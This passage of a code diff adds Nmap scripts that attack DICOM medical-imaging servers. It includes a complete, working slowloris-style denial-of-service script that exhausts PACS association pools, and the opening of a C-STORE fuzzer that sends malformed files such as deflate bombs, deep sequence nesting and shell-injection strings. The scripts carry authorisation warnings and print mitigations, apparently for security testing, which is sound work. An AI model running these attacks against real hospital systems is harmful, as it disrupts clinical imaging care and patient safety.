-- Check for storage (C-STORE injection risk)
local storage_count = 0
for _, sop in ipairs(accepted_sops) do
if sop.category:find("^Storage") then storage_count = storage_count + 1 end
end
if storage_count > 0 then
warnings[#warnings + 1] = string.format(
"%d storage SOP classes accepted - malformed data injection possible" ..
" (use dicom-store-fuzzer)",
storage_count)
end
if not tls then
warnings[#warnings + 1] = "No TLS - PHI transmitted in plaintext"
else
warnings[#warnings + 1] = "TLS server requires no client certificate"
.. " (no mutual TLS / IHE ATNA node authentication)"
if ac_info and ac_info.cert then
for _, w in ipairs(cert_warnings(ac_info.cert)) do
warnings[#warnings + 1] = w
end
end
end
if #warnings > 0 then
out["WARNINGS"] = warnings
end
-- Set port info
nmap.set_port_state(host, port, "open")
port.version.name = "dicom"
if product then port.version.product = product end
nmap.set_port_version(host, port, "hardmatched")
return out
end

495
scripts/dicom-slowloris.nse Normal file
View file

@ -0,0 +1,495 @@
local shortport = require "shortport"
local stdnse = require "stdnse"
local nmap = require "nmap"
local string = require "string"
local math = require "math"
local table = require "table"
local dicom = require "dicom"
description = [[
DICOM association-exhaustion (slowloris-style) denial-of-service probe.
Tests whether a DICOM SCP can be driven into association-pool exhaustion, a
slowloris-like attack adapted to the DICOM Upper Layer protocol (PS3.8). A DICOM
server must keep state for every established association until it is released
(A-RELEASE) or aborted (A-ABORT), and most PACS / VNA / modality software caps
concurrent associations (commonly 10-50). A client that opens associations and
holds them -- idle, drip-fed, or half-open -- can fill that pool and lock out
legitimate SCUs (modalities, workstations, gateways).
Attack modes:
* "idle" (default) complete the A-ASSOCIATE handshake and hold it open
with no DIMSE traffic (PS3.8 has no mandatory idle timeout).
* "echo" complete the handshake and send a periodic C-ECHO keep-alive to
defeat ARTIM / proprietary idle timers.
* "partial" open TCP and send only the first bytes of an A-ASSOCIATE-RQ, so
the server's ARTIM timer holds the socket while it waits for the
rest -- exhaustion before a single association even completes.
Rather than flipping on one failed probe, the script:
* measures a baseline association latency first, and rejects the run if the
server already refuses this calling AE (AE whitelist) or is down;
* fills the pool in waves, and after each wave records the probe latency and
counts how many held associations are still alive (so a server that quietly
drops half-open sockets is detected, not mistaken for a full pool);
* requires several consecutive unavailable probes before declaring
exhaustion, and classifies the failure (TCP refused vs accepted-but-
unanswered) to point at the limit that broke;
* reports a graded verdict -- VULNERABLE (full exhaustion), DEGRADED (latency
rose sharply but never fully failed), or NOT VULNERABLE -- plus the recovery
time after release.
WARNING: this is a denial-of-service test. A successful run disrupts clinical
DICOM traffic (store, query, retrieve). Run it only against systems you are
explicitly authorised to test, in a controlled window.
Requires the dicom.lua library (place in nselib/ or same directory).
]]
---
-- @usage
-- nmap -p4242 --script dicom-slowloris \
-- --script-args 'dicom-slowloris.called_ae=ORTHANC' <target>
--
-- @usage
-- nmap -p4242 --script dicom-slowloris \
-- --script-args 'dicom-slowloris.mode=echo,dicom-slowloris.connections=200' \
-- <target>
--
-- @usage
-- nmap -p2762 --script dicom-slowloris --script-args 'dicom.tls=true' <target>
--
-- @args dicom-slowloris.called_ae Target AE Title. Default: "ANY-SCP"
-- @args dicom-slowloris.calling_ae Our AE Title. Default: "NMAP-SLOW"
-- @args dicom-slowloris.connections Max connections to open. Default: 50
-- @args dicom-slowloris.mode "idle", "echo" or "partial".
-- Default: "idle"
-- @args dicom-slowloris.wave_size Connections per wave. Default: 10
-- @args dicom-slowloris.wave_delay Seconds between waves. Default: 1
-- @args dicom-slowloris.echo_interval Seconds between C-ECHO keep-alives
-- (echo mode). Default: 5
-- @args dicom-slowloris.hold_time Seconds to hold after exhaustion.
-- Default: 10
-- @args dicom-slowloris.timeout Connection/DIMSE timeout. Default: 10
-- @args dicom-slowloris.max_pdu Max PDU length. Default: 16384
-- @args dicom-slowloris.partial_bytes Bytes to send in partial mode.
-- Default: 32
-- @args dicom-slowloris.confirm Consecutive failed probes required to
-- confirm exhaustion. Default: 2
-- @args dicom-slowloris.degrade_factor Latency multiple over baseline that
-- counts as degraded. Default: 10
-- @args dicom-slowloris.baseline_samples Probes used to set the baseline.
-- Default: 3
-- @args dicom-slowloris.vary_ae Vary calling AE per connection.
-- Default: false
-- @args dicom.tls Force transport: "true"/"false"/unset.
--
-- @output
-- PORT STATE SERVICE
-- 4242/tcp open dicom
-- | dicom-slowloris:
-- | Mode: idle Target AE: ORTHANC Calling AE: NMAP-SLOW
-- | Baseline association latency: 6 ms
-- | Phase 1 - Filling association pool:
-- | Wave 1: +10 opened (10 held, 10 alive, 0 failed) probe ok 7 ms
-- | Wave 2: +10 opened (20 held, 20 alive, 0 failed) probe ok 41 ms
-- | Wave 3: +8 opened, 2 refused (28 held, 28 alive) probe timeout
-- | Exhaustion confirmed at 28 associations (2 consecutive failures)
-- | Failure mode: connections accepted but unanswered (pool saturation)
-- | Latency under load: 6 ms baseline -> 41 ms peak before failure
-- | Phase 2 - Holding (10s): held 28, still alive 28 at end
-- | Phase 3 - Release and recovery: server available 1.2s after release
-- | Results:
-- | VULNERABLE: association-pool exhaustion confirmed
-- | Exhaustion threshold: 28 concurrent associations
-- | Recovery: 1.2s after release
-- |_ Mitigation: ARTIM/idle timeout, per-source limits, rate limiting
--
-- @xmloutput
-- <elem key="verdict">VULNERABLE</elem>
-- <elem key="threshold">28</elem>
-- <elem key="failure_mode">timeout</elem>
-- <elem key="baseline_ms">6</elem>
---
author = "Paulino Calderon <paulino@calderonpale.com>"
license = "Same as Nmap -- See https://nmap.org/book/man-legal.html"
categories = {"dos", "intrusive"}
portrule = shortport.port_or_service({104, 2762, 11112, 4242}, "dicom", "tcp",
"open")
local VERIF = "1.2.840.10008.1.1"
local function get_arg(key, default)
return stdnse.get_script_args("dicom-slowloris." .. key) or default
end
--- Median of a numeric list (returns nil for an empty list).
local function median(t)
if #t == 0 then return nil end
local s = {}
for _, v in ipairs(t) do s[#s + 1] = v end
table.sort(s)
local m = math.floor((#s + 1) / 2)
if #s % 2 == 1 then return s[m] end
return (s[m] + s[m + 1]) / 2
end
--- Classify a do_associate failure reason into a probe status.
-- A-ASSOCIATE-RJ is split by cause: a presentation-service-provider rejection
-- (source 3) means "temporary congestion" / "local limit exceeded" -- the
-- server refusing new work because its pool is full, which IS the exhaustion
-- condition. A service-user rejection (source 1: AE title / protocol) means the
-- server is alive and refusing this configuration, not exhausted.
local function classify(reason)
reason = tostring(reason or "")
if reason:find("CONN_REFUSED") then return "refused" end
if reason:find("TIMEOUT") or reason:find("NO_DATA") then return "timeout" end
if reason:find("RESET") then return "reset" end
local src = reason:match("REJECT%(result=%d+,source=(%d+),")
if src then
return tonumber(src) == 3 and "limit" or "rejected"
end
if reason:find("REJECT") then return "rejected" end
if reason:find("ABORT") then return "abort" end
return "error"
end
--- Probe the server with a fresh association (+ C-ECHO).
-- @return status ("ok"/"rejected"/"refused"/"timeout"/"reset"/"error"), ms
-- "ok" and "rejected" both mean the server is alive and servicing TCP; the
-- rest mean it is not answering new associations.
local function probe(host, port, called_ae, calling_ae, timeout_s)
local t0 = nmap.clock_ms()
local ok, sock, pctxs = dicom.do_associate(host, port, called_ae, calling_ae,
{VERIF}, 16384, timeout_s)
if not ok then
return classify(sock), nmap.clock_ms() - t0
end
local pctx = dicom.pick_accepted_pctx(pctxs)
if pctx then
dicom.send_dimse(sock, pctx, dicom.build_cecho_rq(99), nil, 16384)
local pt, ce = dicom.recv_dimse(sock, timeout_s)
dicom.do_release(sock, 2)
if pt and ce and ce["0000,0900"] then
return "ok", nmap.clock_ms() - t0
end
return "timeout", nmap.clock_ms() - t0
end
dicom.do_release(sock, 2)
return "ok", nmap.clock_ms() - t0
end
local function is_alive(status)
return status == "ok" or status == "rejected"
end
--- Heuristic liveness check on a held socket without disturbing the hold.
-- A short read that times out means the socket is still open; EOF/reset, or an
-- A-ABORT PDU (type 0x07) coming back, means the server tore it down.
local function sock_alive(sock)
if not sock then return false end
sock:set_timeout(60)
local st, data = sock:receive_bytes(1)
if st then
return not (data and #data > 0 and string.byte(data, 1) == 0x07)
end
return tostring(data or ""):find("TIMEOUT") ~= nil
end
--- Count (and prune) still-alive held sockets.
local function count_alive(socks)
local alive = 0
for i = 1, #socks do
if socks[i] then
if sock_alive(socks[i]) then
alive = alive + 1
else
pcall(function() socks[i]:close() end)
socks[i] = false
end
end
end
return alive
end
--- Open one held connection per mode. Returns socket+pctx_id, or nil+err.
local function open_conn(host, port, mode, called_ae, calling_ae, max_pdu,
timeout_s, partial_bytes)
if mode == "partial" then
local sock = dicom.new_sock(timeout_s)
local ok = dicom.tcp_connect(sock, host, port)
if not ok then sock:close() return nil, nil, "CONN_REFUSED" end
local full = dicom.build_assoc_rq(called_ae, calling_ae, {VERIF}, max_pdu)
-- Keep at least the 6-byte PDU header so the server commits to reading the
-- declared length and blocks waiting for the remainder.
local n = math.max(math.min(partial_bytes, #full), 6)
ok = dicom.tcp_send(sock, full:sub(1, n))
if not ok then sock:close() return nil, nil, "SEND_FAILED" end
return sock, nil, nil
end
local ok, sock, pctxs = dicom.do_associate(host, port, called_ae, calling_ae,
{VERIF}, max_pdu, timeout_s)
if not ok then return nil, nil, tostring(sock) end
local pctx = dicom.pick_accepted_pctx(pctxs)
if mode == "echo" and not pctx then
dicom.do_release(sock, 2)
return nil, nil, "no accepted presentation context"
end
return sock, pctx, nil
end
--- Send a keep-alive C-ECHO; return true if the association answered.
local function keepalive(sock, pctx, msg_id, max_pdu, timeout_s)
if not sock or not pctx then return false end
local ok = dicom.send_dimse(sock, pctx, dicom.build_cecho_rq(msg_id), nil,
max_pdu)
if not ok then return false end
local pt, ce = dicom.recv_dimse(sock, timeout_s)
return pt and ce and ce["0000,0900"] ~= nil
end
action = function(host, port)
local called_ae = get_arg("called_ae", "ANY-SCP")
local calling_ae = get_arg("calling_ae", "NMAP-SLOW")
local max_conns = tonumber(get_arg("connections", "50")) or 50
local mode = get_arg("mode", "idle"):lower()
local wave_size = tonumber(get_arg("wave_size", "10")) or 10
local wave_delay = tonumber(get_arg("wave_delay", "1")) or 1
local echo_interval = tonumber(get_arg("echo_interval", "5")) or 5
local hold_time = tonumber(get_arg("hold_time", "10")) or 10
local timeout_s = tonumber(get_arg("timeout", "10")) or 10
local max_pdu = tonumber(get_arg("max_pdu", "16384")) or 16384
local partial_bytes = tonumber(get_arg("partial_bytes", "32")) or 32
local confirm = tonumber(get_arg("confirm", "2")) or 2
local degrade_factor = tonumber(get_arg("degrade_factor", "10")) or 10
local baseline_samples = tonumber(get_arg("baseline_samples", "3")) or 3
local vary_ae = get_arg("vary_ae", "false"):lower() == "true"
local out = stdnse.output_table()
if mode ~= "idle" and mode ~= "echo" and mode ~= "partial" then
out["Error"] = "Invalid mode '" .. mode .. "' (use idle, echo, partial)"
return out
end
out["Mode"] = string.format("%s Target AE: %s Calling AE: %s",
mode, called_ae, calling_ae)
-- Baseline: measure normal latency and confirm the server services our AE.
local base = {}
local last_status
for _ = 1, math.max(baseline_samples, 1) do
local st, ms = probe(host, port, called_ae, calling_ae, timeout_s)
last_status = st
if is_alive(st) then base[#base + 1] = ms end
end
local baseline_ms = median(base)
if not baseline_ms then
if last_status == "refused" or last_status == "timeout" then
out["Error"] = "Server not reachable/answering before the test ("
.. last_status .. ") - it may already be down"
else
out["Error"] = string.format(
"Server did not accept an association from calling AE '%s' (%s) - if "
.. "an AE whitelist is in force, set dicom-slowloris.calling_ae to a "
.. "known AE", calling_ae, tostring(last_status))
end
return out
end
out["Baseline association latency"] = string.format("%.0f ms", baseline_ms)
-- Phase 1: fill the pool in waves.
local socks, pctxs = {}, {}
local opened, failed = 0, 0
local fill = {}
local exhausted, threshold, fail_mode = false, 0, nil
local peak_ms = baseline_ms
local consec = 0
local wave = 0
while opened < max_conns and not exhausted do
wave = wave + 1
local w_open, w_fail, w_refused = 0, 0, 0
for _ = 1, wave_size do
if opened >= max_conns then break end
local conn_ae = calling_ae
if vary_ae and opened > 0 then
local suffix = tostring(opened % 1000)
conn_ae = calling_ae:sub(1, math.max(16 - #suffix, 1)) .. suffix
end
local s, pctx, err = open_conn(host, port, mode, called_ae, conn_ae,
max_pdu, timeout_s, partial_bytes)
if s then
socks[#socks + 1] = s
pctxs[#socks] = pctx
opened = opened + 1
w_open = w_open + 1
else
failed = failed + 1
w_fail = w_fail + 1
if tostring(err):find("REFUSED") then w_refused = w_refused + 1 end
end
end
local alive = count_alive(socks)
local st, ms = probe(host, port, called_ae, calling_ae, timeout_s)
local probe_txt
if is_alive(st) then
consec = 0
if ms > peak_ms then peak_ms = ms end
probe_txt = string.format("probe ok %.0f ms", ms)
else
consec = consec + 1
fail_mode = st
probe_txt = "probe " .. st
end
local refused_txt = w_refused > 0
and string.format(", %d refused", w_refused) or ""
fill[#fill + 1] = string.format(
"Wave %d: +%d opened%s (%d held, %d alive, %d failed) %s",
wave, w_open, refused_txt, opened, alive, failed, probe_txt)
if consec >= confirm then
exhausted = true
threshold = alive
fill[#fill + 1] = string.format(
"Exhaustion confirmed at %d associations (%d consecutive failures)",
threshold, consec)
elseif not exhausted and wave_delay > 0 then
stdnse.sleep(wave_delay)
end
end
out["Phase 1 - Filling association pool"] = fill
-- Interpret the failure mode / degradation.
local degraded = (not exhausted)
and peak_ms >= baseline_ms * degrade_factor and peak_ms >= 1000
if exhausted then
if fail_mode == "limit" then
out["Failure mode"] =
"server rejected new associations with local-limit-exceeded"
.. " (A-ASSOCIATE-RJ: association pool full)"
elseif fail_mode == "refused" or fail_mode == "reset" then
out["Failure mode"] =
"new connections refused at TCP layer (listener backlog / max-clients)"
else
out["Failure mode"] =
"connections accepted but unanswered (worker/thread-pool saturation)"
end
end
out["Latency under load"] = string.format(
"%.0f ms baseline -> %.0f ms peak%s", baseline_ms, peak_ms,
exhausted and " before failure" or "")
-- Phase 2: hold and monitor.
if exhausted and hold_time > 0 then
local start = nmap.clock_ms()
local elapsed, next_echo, echoes, drops = 0, echo_interval, 0, 0
local recovered = false
while elapsed < hold_time do
if mode == "echo" and elapsed >= next_echo then
for i = 1, #socks do
if socks[i] then
echoes = echoes + 1
if not keepalive(socks[i], pctxs[i], echoes, max_pdu, timeout_s)
then
pcall(function() socks[i]:close() end)
socks[i] = false
drops = drops + 1
end
end
end
next_echo = elapsed + echo_interval
end
local st = probe(host, port, called_ae, calling_ae, timeout_s)
if is_alive(st) then recovered = true break end
stdnse.sleep(1)
elapsed = (nmap.clock_ms() - start) / 1000
end
local alive = count_alive(socks)
if recovered then
out["Phase 2 - Holding"] = string.format(
"server recovered after %.0fs while %d connections were still held",
elapsed, alive)
else
local extra = mode == "echo"
and string.format(", %d echoes, %d dropped", echoes, drops) or ""
out["Phase 2 - Holding"] = string.format(
"held %.0fs: %d still alive at end%s", hold_time, alive, extra)
end
elseif not exhausted then
out["Phase 2 - Holding"] = "skipped (server not exhausted)"
end
-- Phase 3: release and measure recovery.
local released = 0
for i = 1, #socks do
if socks[i] then
if mode == "partial" then
pcall(function() socks[i]:close() end)
else
pcall(function() dicom.do_release(socks[i], 2) end)
end
released = released + 1
end
end
local rec_start = nmap.clock_ms()
local recovery
if exhausted then
for _ = 1, 15 do
stdnse.sleep(1)
if is_alive((probe(host, port, called_ae, calling_ae, timeout_s))) then
recovery = (nmap.clock_ms() - rec_start) / 1000
break
end
end
out["Phase 3 - Release and recovery"] = recovery
and string.format("released %d; server available %.1fs after release",
released, recovery)
or string.format(
"released %d; server still unavailable after 15s (may need restart)",
released)
else
out["Phase 3 - Release and recovery"] =
string.format("released %d connections", released)
end
-- Results.
local results = {}
if exhausted then
results[#results + 1] = "VULNERABLE: association-pool exhaustion confirmed"
results[#results + 1] = string.format(
"Exhaustion threshold: %d concurrent associations", threshold)
results[#results + 1] = recovery
and string.format("Recovery: %.1fs after release", recovery)
or "Recovery: not within 15s (may require a restart)"
if mode == "echo" then
results[#results + 1] = "Note: C-ECHO keep-alives defeated idle timeout"
.. " - needs per-source limits, not just an idle timeout"
elseif mode == "partial" then
results[#results + 1] = "Note: half-open A-ASSOCIATE-RQ (ARTIM) attack"
.. " - lower the ARTIM timeout and add TCP rate limiting"
else
results[#results + 1] = "Mitigation: ARTIM/idle timeout, per-source"
.. " limits, rate limiting"
end
elseif degraded then
results[#results + 1] = string.format(
"DEGRADED: association latency rose from %.0f ms to %.0f ms (%.0fx)"
.. " under %d held connections without full exhaustion",
baseline_ms, peak_ms, peak_ms / baseline_ms, opened)
results[#results + 1] = "Partial DoS: service is impaired but not fully"
.. " blocked; raise dicom-slowloris.connections to push further"
else
results[#results + 1] = string.format(
"NOT VULNERABLE: server serviced probes with %d associations held"
.. " (pool may be larger or unlimited)", opened)
results[#results + 1] = string.format(
"Try raising dicom-slowloris.connections (current: %d)", max_conns)
end
out["Results"] = results
nmap.set_port_version(host, port, "hardmatched")
return out
end

View file

@ -0,0 +1,789 @@
description = [[
DICOM C-STORE fuzzer for post-association PACS vulnerability testing.
Reads a fuzz corpus generated by dicom_fuzzgen.py and transmits each malformed
DICOM file to the target PACS via C-STORE (DIMSE), monitoring for crashes,
hangs, unexpected responses, and anomalous behaviour.
The attack surface is post-association but pre-authentication in any
application-layer sense -- most PACS accept C-STORE from any associated SCU
without further authentication checks.
Test coverage:
* Tag value overflow / boundary violations
* VR type confusion and mismatch
* Sequence nesting attacks (stack overflow, OOM)
* Pixel data mutations (buffer size, bit depth, encapsulation)
* Transfer syntax abuse (deflate bombs, JPEG corruption, encoding mismatch)
* Private and unknown tag injection
* File Meta Information attacks
* String encoding and character set attacks
* DICOM-specific logic bombs
* CVE-specific payloads (multiple vendors)
Anomaly classification:
SUCCESS -- C-STORE-RSP Status 0x0000 (notable if input was heavily
malformed)
FAILURE -- C-STORE-RSP Status != 0x0000 (expected for malformed input)
REJECT -- A-ASSOCIATE-RJ (SOP class not supported)
ABORT -- A-ABORT from target (potential parser panic)
TIMEOUT -- No response within timeout (potential crash or infinite loop)
RESET -- TCP RST (process likely crashed)
CONN_REFUSED -- Cannot connect (target service down / crashed)
CORRUPT_RSP -- Response not a valid DICOM PDU (memory corruption indicator)
Health checks run automatically after each configurable interval and after any
TIMEOUT or RESET. Three consecutive health-check failures constitute a
CRITICAL CRASH; fuzzing halts and the triggering case is reported.
WARNING: This is an intrusive script. It WILL send malformed DICOM data to the
target PACS and MAY cause crashes, hangs, data corruption, or exhaustion of
service resources. Only use against systems for which you have explicit written
authorisation. Medical imaging systems are life-critical infrastructure.
Requires the dicom.lua library (place in nselib/ or same directory).
]]
---
-- @usage
-- nmap -p 104,11112 --script dicom-store-fuzzer \
-- --script-args 'dicom-store-fuzzer.corpus=/path/to/fuzz_corpus_v5,dicom-store-fuzzer.called_ae=ORTHANC' <target>
--
-- @usage
-- nmap -p 11112 --script dicom-store-fuzzer \
-- --script-args 'dicom-store-fuzzer.corpus=./fuzz_corpus_v5,dicom-store-fuzzer.categories=cat03,cat04,dicom-store-fuzzer.timeout=15' <target>
--
-- @usage
-- nmap -p 104 --script dicom-store-fuzzer \
-- --script-args 'dicom-store-fuzzer.corpus=./fuzz_corpus_v5,dicom-store-fuzzer.cases=TC0001,TC0042,TC0300,dicom-store-fuzzer.output=verbose' <target>
--
-- @args dicom-store-fuzzer.corpus Path to fuzz_corpus directory containing
-- manifest.json (REQUIRED)
-- @args dicom-store-fuzzer.called_ae Target AE Title (default: "ORTHANC")
-- @args dicom-store-fuzzer.calling_ae Our AE Title (default: "NMAP-FUZZ")
-- @args dicom-store-fuzzer.categories Comma-separated categories to send:
-- "all","cat01","cat03,cat04" (default: "all")
-- @args dicom-store-fuzzer.cases Specific case IDs: "TC0001,TC0042"
-- (default: all)
-- @args dicom-store-fuzzer.batch Cases per association; 1 = per-case
-- isolation (default: 1)
-- @args dicom-store-fuzzer.timeout C-STORE response timeout in seconds
-- (default: 10)
-- @args dicom-store-fuzzer.delay Delay between cases in milliseconds
-- (default: 200)
-- @args dicom-store-fuzzer.fallback_sc Use Secondary Capture fallback if SOP
-- class rejected (default: true)
-- @args dicom-store-fuzzer.baseline Send baseline before fuzzing to verify
-- C-STORE works (default: true)
-- @args dicom-store-fuzzer.max_pdu Max PDU Length to propose in bytes
-- (default: 16384)
-- @args dicom-store-fuzzer.resume Resume from this case ID after a
-- previous crash (default: none)
-- @args dicom-store-fuzzer.output Output verbosity:
-- "summary","verbose","debug" (default: "summary")
-- @args dicom-store-fuzzer.health_interval Health check every N cases
-- (default: 10)
-- @args dicom-store-fuzzer.results_file Write JSON results to this path
-- (default: /tmp/dicom-store-fuzzer-<ip>.json)
--
-- @output
-- PORT STATE SERVICE
-- 104/tcp open dicom
-- | dicom-store-fuzzer:
-- | Target AE: ORTHANC Calling AE: NMAP-FUZZ
-- | Corpus: /path/to/fuzz_corpus_v5 (1357 cases queued)
-- | Baseline: SUCCESS (C-STORE accepted)
-- | Cases Sent: 1357 / 1357
-- | Results: SUCCESS=898 FAILURE=384 TIMEOUT=4 RESET=2 REJECT=18 ABORT=6 CORRUPT=0
-- | CRITICAL FINDINGS:
-- | [CRASH] TC0215 cat03_sequence_nesting/TC0215_depth_500.dcm
-- | Sequence depth 500 - TCP RST, target unresponsive for 8s
-- | [TIMEOUT] TC0401 cat05_transfer_syntax/TC0401_deflate_bomb.dcm
-- | Deflate bomb - No response after 10s, target recovered
-- | [ACCEPT] TC0507 cat06_private_tags/TC0507_inject_shell_dollar.dcm
-- | Shell injection in PatientName - Stored successfully
-- | Results file: /tmp/dicom-store-fuzzer-192.168.1.50.json
-- |_
---
author = "Paulino Calderon <paulino@calderonpale.com>"
license = "Same as Nmap -- See https://nmap.org/book/man-legal.html"
categories = {"fuzzer", "intrusive"}
local shortport = require "shortport"
local stdnse = require "stdnse"
local nmap = require "nmap"
local string = require "string"
local table = require "table"
local math = require "math"
local io = require "io"
local json = require "json"
local dicom = require "dicom"
portrule = shortport.port_or_service({104, 2762, 11112, 4242}, "dicom", "tcp",
"open")
-- File I/O and DCM parsing now provided by dicom.lua library:
-- dicom.read_file(path)
-- dicom.generate_fake_uid()
-- dicom.read_dcm_dataset(filepath)
-----------------------------------------------------------------------
-- MANIFEST LOADER
-----------------------------------------------------------------------
-- Load and parse manifest.json from the corpus directory.
-- Returns list of case tables, baseline_file or nil, err.
local function load_manifest(corpus_path)
local path = corpus_path:gsub("[/\\]+$", "") .. "/manifest.json"
local data, err = dicom.read_file(path)
if not data then
return nil, "Cannot read manifest.json from corpus: " .. tostring(err)
end
local ok, manifest = json.parse(data)
if not ok or type(manifest) ~= "table" then
return nil, "Failed to parse manifest.json: " .. tostring(manifest)
end
local cases = {}
if type(manifest.categories) == "table" then
for _, cat in ipairs(manifest.categories) do
if type(cat.cases) == "table" then
for _, c in ipairs(cat.cases) do
cases[#cases + 1] = {
id = c.id or "?",
filename = c.filename or "",
description = c.description or "",
target_tag = c.target_tag or "",
mutation = c.mutation or "",
severity = c.severity or "medium",
expected = c.expected_behavior or "",
category = cat.id or "",
}
end
end
end
end
return cases, manifest.baseline_file
end
-----------------------------------------------------------------------
-- C-STORE VIA DICOM.LUA
-----------------------------------------------------------------------
--- Send one C-STORE-RQ and receive the C-STORE-RSP.
-- Uses dicom.lua's send_dimse/recv_dimse with proper MCH and carry buffer.
-- @param sock Connected TCP socket with active association
-- @param pctx_id Accepted presentation context ID
-- @param sop_class SOP Class UID
-- @param sop_inst SOP Instance UID
-- @param ds_bytes Raw dataset bytes (post File Meta, just the DICOM dataset)
-- @param msg_id DIMSE Message ID
-- @param max_pdu Effective max PDU length
-- @param timeout_s Response timeout in seconds
-- @return result_string, status_code, error_comment, elapsed_ms
local function do_cstore(sock, pctx_id, sop_class, sop_inst,
ds_bytes, msg_id, max_pdu, timeout_s)
local t0 = nmap.clock_ms()
-- Build C-STORE-RQ command set
local cmd_bytes = dicom.build_cstore_rq(msg_id, sop_class, sop_inst)
-- Send command + dataset via dicom.lua (handles MCH, fragmentation, separate
-- PDUs)
local ok = dicom.send_dimse(sock, pctx_id, cmd_bytes, ds_bytes, max_pdu)
if not ok then
return "RESET", 0xFFFF, "send_dimse failed", nmap.clock_ms() - t0
end
-- Receive C-STORE-RSP
-- recv_dimse returns: pdu_type, cmd_elems, ds_bytes, raw_or_err, remaining
-- On error: nil, nil, "", error_string, ""
sock:set_timeout(timeout_s * 1000)
local pdu_type, cmd_elems, _, raw_or_err, _ = dicom.recv_dimse(sock,
timeout_s)
local elapsed = nmap.clock_ms() - t0
if not pdu_type then
local err_str = tostring(raw_or_err or "unknown")
if err_str:find("TIMEOUT") then
return "TIMEOUT", 0xFFFF, "", elapsed
end
return "RESET", 0xFFFF, err_str, elapsed
end
if pdu_type == dicom.PDU_CODES.ABORT then
return "ABORT", 0xFFFF, "A-ABORT from server", elapsed
elseif pdu_type ~= dicom.PDU_CODES.DATA then
return string.format("CORRUPT_RSP(0x%02X)", pdu_type), 0xFFFF, "", elapsed
end
-- Parse response status from command elements
local status_code = 0xFFFF
local error_comment = ""
if cmd_elems then
if cmd_elems["0000,0900"] then
status_code = cmd_elems["0000,0900"].value
end
if cmd_elems["0000,0902"] then
error_comment = tostring(cmd_elems["0000,0902"].value or "")
end
end
if status_code == dicom.STATUS.SUCCESS then
return "SUCCESS", status_code, error_comment, elapsed
elseif status_code == dicom.STATUS.PENDING
or status_code == dicom.STATUS.PENDING_WARN then
return "PENDING", status_code, error_comment, elapsed
else
return string.format("FAILURE(0x%04X)", status_code), status_code,
error_comment, elapsed
end
end
-----------------------------------------------------------------------
-- HEALTH CHECK
-----------------------------------------------------------------------
--- Send the baseline file to confirm the target is alive.
-- Returns true (alive) or false (dead/unreachable).
local function health_check(host, port, corpus_path, baseline_rel,
called_ae, calling_ae, max_pdu, timeout_s)
if not baseline_rel then return false end
local baseline_path = corpus_path:gsub("[/\\]+$", "") .. "/" .. baseline_rel
local dataset_bytes, sop_class, sop_instance,
ts_uid = dicom.read_dcm_dataset(baseline_path)
if not dataset_bytes then return false end
sop_class = (sop_class and #sop_class > 0) and sop_class
or dicom.SOP_CLASS.CT_IMAGE_STORAGE
sop_instance = (sop_instance and #sop_instance > 0) and sop_instance
or dicom.generate_fake_uid()
-- Propose file's native transfer syntax alongside standard fallbacks
local transfer_uids = nil
if ts_uid and ts_uid ~= "" then
local seen = {}
transfer_uids = {}
for _, ts in ipairs({ts_uid, dicom.TRANSFER_SYNTAX.EXPLICIT_LE,
dicom.TRANSFER_SYNTAX.IMPLICIT_LE}) do
if not seen[ts] then
seen[ts] = true
transfer_uids[#transfer_uids + 1] = ts
end
end
end
local ok, sock, pctxs, server_max_pdu = dicom.do_associate(
host, port, called_ae, calling_ae,
{sop_class, dicom.SOP_CLASS.SECONDARY_CAPTURE}, max_pdu, timeout_s,
transfer_uids)
if not ok then return false end
local pctx_id = dicom.pick_accepted_pctx(pctxs)
if not pctx_id then dicom.do_release(sock, 3)
return false end
local eff_max = math.min(server_max_pdu or max_pdu, max_pdu)
local result = do_cstore(sock, pctx_id, sop_class, sop_instance,
dataset_bytes, 1, eff_max, timeout_s)
dicom.do_release(sock, 3)
return (result == "SUCCESS")
end
-----------------------------------------------------------------------
-- RESULT TRACKING
-----------------------------------------------------------------------
local function new_results()
return {
SUCCESS=0, FAILURE=0, TIMEOUT=0, RESET=0,
REJECT=0, ABORT=0, CONN_REFUSED=0, CORRUPT_RSP=0,
total=0, anomalies={}, crashes={},
}
end
local function record(res, result, tc)
res.total = res.total + 1
local key = result:match("^(%u[%u_]*)") or "FAILURE"
if res[key] ~= nil then
res[key] = res[key] + 1
else
res.FAILURE = res.FAILURE + 1
end
end
local function is_critical(result)
return (result == "TIMEOUT" or result == "RESET" or result == "CONN_REFUSED"
or result:find("CRASH"))
end
-----------------------------------------------------------------------
-- JSON RESULTS WRITER
-----------------------------------------------------------------------
local function write_results_json(filepath, target_ip, target_port,
called_ae, corpus_path,
results, all_case_results,
start_time)
local f, err = io.open(filepath, "w")
if not f then
stdnse.verbose1("Cannot write results file: %s", tostring(err))
return
end
-- JSON string escaping. Fuzz cases and server error comments can contain
-- arbitrary control bytes (NUL, ESC, etc.); these are invalid raw in a JSON
-- string and must be emitted as \uXXXX, otherwise the results file is not
-- parseable. Backslash and quote are escaped first, then every control
-- character in U+0000..U+001F (common ones as short escapes).
local function esc(s)
s = tostring(s):gsub('\\', '\\\\'):gsub('"', '\\"')
s = s:gsub('[\x00-\x1f]', function(c)
local b = string.byte(c)
if b == 0x08 then return '\\b'
elseif b == 0x09 then return '\\t'
elseif b == 0x0a then return '\\n'
elseif b == 0x0c then return '\\f'
elseif b == 0x0d then return '\\r'
else return string.format('\\u%04x', b) end
end)
return s
end
f:write('{\n')
f:write(string.format(' "target": "%s:%d",\n', esc(target_ip), target_port))
f:write(string.format(' "target_ae": "%s",\n', esc(called_ae)))
f:write(string.format(' "corpus": "%s",\n', esc(corpus_path)))
f:write(string.format(' "scan_start": "%s",\n', esc(start_time)))
f:write(string.format(' "scan_end": "%s",\n',
esc(os.date("!%Y-%m-%dT%H:%M:%SZ"))))
f:write(string.format(' "total_cases": %d,\n', results.total))
f:write(' "summary": {\n')
f:write(string.format(' "SUCCESS": %d, "FAILURE": %d, "TIMEOUT": %d,\n',
results.SUCCESS, results.FAILURE, results.TIMEOUT))
f:write(string.format(' "RESET": %d, "REJECT": %d, "ABORT": %d,\n',
results.RESET, results.REJECT, results.ABORT))
f:write(string.format(' "CONN_REFUSED": %d, "CORRUPT_RSP": %d\n',
results.CONN_REFUSED, results.CORRUPT_RSP))
f:write(' },\n')
f:write(' "crashes": [\n')
for i, c in ipairs(results.crashes) do
f:write(string.format(
' {"id":"%s","file":"%s","result":"%s","desc":"%s"}%s\n',
esc(c.id), esc(c.file), esc(c.result), esc(c.desc),
i < #results.crashes and "," or ""))
end
f:write(' ],\n')
f:write(' "anomalies": [\n')
